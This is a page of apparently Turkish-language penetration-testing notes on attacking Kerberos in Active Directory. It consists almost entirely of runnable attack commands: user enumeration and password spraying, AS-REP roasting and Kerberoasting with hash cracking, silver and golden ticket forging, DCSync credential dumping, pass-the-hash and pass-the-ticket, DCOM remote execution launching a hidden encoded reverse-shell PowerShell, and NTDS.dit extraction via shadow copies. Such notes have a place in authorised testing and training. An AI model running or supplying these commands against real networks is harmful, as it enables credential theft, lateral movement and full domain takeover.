🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • Kerberos Nedir?
  • Username Enumeration
  • Password Spraying
  • AS-REP Roasting
  • Kerberosting
  • Silver Ticket
  • Domain Trust
  • DcSync
  • Over The Hash
  • Pass The Ticket
  • DCOM
  • Golden Ticket Persistence
  • Shadow Copy Persistence

Was this helpful?

  1. Network Service Pentesting
  2. Active Directory Services

Kerberos (88)

PreviousDNS (53)NextLDAP (389,636)

Last updated 21 hours ago

Was this helpful?

Kerberos Nedir?

Username Enumeration

./username-anarchy -i users.txt > example_users.txt

kerbrute userenum -d example.local --dc 192.168.1.1 example_users.txt -o output.txt

Password Spraying

kerbrute passwordspray -d example.local --dc 192.168.1.1 valid_users.txt 'Password123'

AS-REP Roasting

  • Kerberos Pre-Authentication özelliği kapalı hesaplarda çalışır. (Yazılımcılar genelde çok eski uygulamalarla iletişim kurmak isterlerse bu özelliği kapatabilir.)

  • Bir domain kullanıcı listesi olmalı.

  • Parola kırılabilir olmalı

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/ -users users.txt

hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
.\Rubeus.exe asreproast /nowrap

Kerberosting

  • Herhangi bir domain kullanıcısı gerekir.

  • Sadece Servis hesaplarına karşı uygulanabilir. (Bir SPN değeri olmalı)

  • Parola kırılabilir olmalı.

impacket-GetUserSPNs -request -dc-ip 192.168.1.3 corp.local/pete:'Password123' -outputfile hashes.kerberoast

hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Silver Ticket

  • Local admin yetkisine sahip bir domain hesabı olması gerekir.

  • Bir servise ait ntlm hash olması gerekir

impacket-secretsdump corp.com/jeff:HenchmanPutridBonbon11@192.168.237.75
impacket-lookupsid corp.com/jeff:HenchmanPutridBonbon11@192.168.237.75
impacket-DumpNTLMInfo 192.168.237.70
impacket-GetUserSPNs corp.com/jeff:HenchmanPutridBonbon11 -dc-ip 192.168.237.70
impacket-ticketer -nthash 7400744251c596afe6a7ff02daf8f8f7 -domain-sid S-1-5-21-3361712080-4014456659 -domain corp.com -spn HTTP/web04.corp.com jeff
export KRB5CCNAME=jeff.ccache
klist
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass



impacket-ticketer -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>


iwr -UseDefaultCredentials http://web04 # 401 Alıyoruz

./mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

# NTLM Hash Arıyoruz
whoami /user # SID Değerini Alıyoruz

kerberos::golden /sid:xxxxxxxxxxxxxxxx /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:xxxxxxxxxxxxxxxxx /user:jeffadmin
klist
iwr -UseDefaultCredentials http://web04 | Select-Object -Expand Content # 200 OK

Domain Trust

# Burdan iki domainin sid değerini alıyoruz
./mimikatz.exe "lsadump::trust" "exit"

# Burdan krbtgt değeri var mı diye bakıyoruz
./mimikatz.exe "lsadump::dcsync /all /csv" "exit"
# Direkt krbtgt değerini alabiliriz.
./mimikatz.exe "lsadump::dcsync /user:sub.poseidon.yzx\krbtgt" "exit"
# İstediğimiz kullanıcıya golden ticket veriyoruz
./mimikatz.exe "kerberos::golden /user:Administrator /domain:sub.poseidon.yzx /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxxx-xxxxxxxx /krbtgt:xxxxxxxxxxxxxxxxxxxxxxxxxxxx /sids:S-1-5-21-xxxxxxx-xxxxxxxx-xxxxxxx-519" "exit"
# Ticket dosyasını import ediyoruz.
./mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
# Ticket ile giriş yapıyoruz
Enter-PSSession DC01

DcSync

.\mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit"

impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"Password123"@192.168.50.70 -outputfile hashes.dcsync

hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Over The Hash

./mimikatz
privilege::debug
sekurlsa::logonpasswords # Yetkili bir kullanıcının hashini buluyoruz
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
net use \\files04 # Ticket oluşturmak için istediğimiz bilgisayara bağlanıyoruz
klist # Kerberos Ticket kontrol
.\PsExec.exe \\files04 cmd # Ticket ile cmd açıyoruz

Pass The Ticket

ls \\web04\backup # 403

./mimikatz
privilege::debug
sekurlsa::tickets /export
dir *.kirbi
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
klist

ls \\web04\backup # 200
powershell  
Enter-PSSession -ComputerName DC01  

DCOM

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))

$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e base64_rev","7")

Golden Ticket Persistence

./mimikatz
privilege::debug
lsadump::lsa /patch # Krbtgt Ticket Hash Olmalı
kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
misc::cmd
PsExec.exe \\dc1 cmd.exe

Shadow Copy Persistence

vshadow.exe -nw -p  C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Wordlist:

🖲️
📘
https://github.com/insidetrust/statistically-likely-usernames